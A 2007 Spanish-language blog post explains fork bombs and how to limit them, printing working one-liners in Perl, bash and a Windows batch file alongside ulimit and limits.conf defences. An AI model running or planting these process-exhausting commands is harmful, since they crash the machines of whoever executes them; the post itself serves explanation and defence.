Curiosity is insubordination in its purest form. -Vladimir Nabokov

lunes, 25 de junio de 2007

forkbombs: ataque y defensa

Ultimamente se han puesto de moda las forkbombs, pero no es algo nuevo, en http://en.wikipedia.org/w/index.php?title=Fork_bomb&oldid=5432901 un tal Fennec nos explica 2 forkbombs ya hechas publicas en el 2004.

Una con Perl:
perl -e "fork while fork"

Y otra con bash:
:(){ :|:& };:

Esta ultima es la que se ha puesto de moda. Y no deja de ser una version ofuscada de:

forkbomb () {
forkbomb | forkbomb &
}
forkbomb

es decir, una funcion recursiva que se llama a si misma 2 veces creando procesos hasta colapsar el sistema.

Lo curioso es que no es necesario ser root para tumbar el sistema. Puedes probarlo en tu linux.

¿La solucion?

O bien usas el comando ulimit añadiendo al /etc/profile y /etc/bash.bashrc (para abarcar sesiones de login y no-login) algo como:
ulimit -u 1024

de tal forma que el numero maximo de procesos que un usuario puede ejecutar son 1024.

Pero la forma estandar de hacerlo es editando /etc/security/limits.conf, archivo de configuración perteneciente al Linux-PAM, poniendo algo como:
*  hard  nproc  1024

Son TABs, no espacios.

Asi todos los procesos, y sus hijos claro esta, que hagan uso de los modulos PAM respetaran el limite establecido.

Otro forkbomb que he leido por ahi es el siguiente:
echo "\$0&\$0">_;chmod +x _;./_

Como $0 almacena el valor del proceso actual, el script ejecuta continuamente
./_ &
./_

Pero este caso es mas grave, pues lo que se ejecuta no es una simple función de bash en memoria, sino un nuevo proceso del disco que requiere cargar un nuevo bash en memoria.

La versión Windows de este forkbomb es un .bat tal que asi:
:vlan7
start %0
goto vlan7

Ahora lanzo una pregunta al aire... ¿Alguien sabe como defenderse de esto en Windows?

Related Posts by Categories



1 comentarios :

Anónimo dijo...

Si, no instalarlo!!! ;-)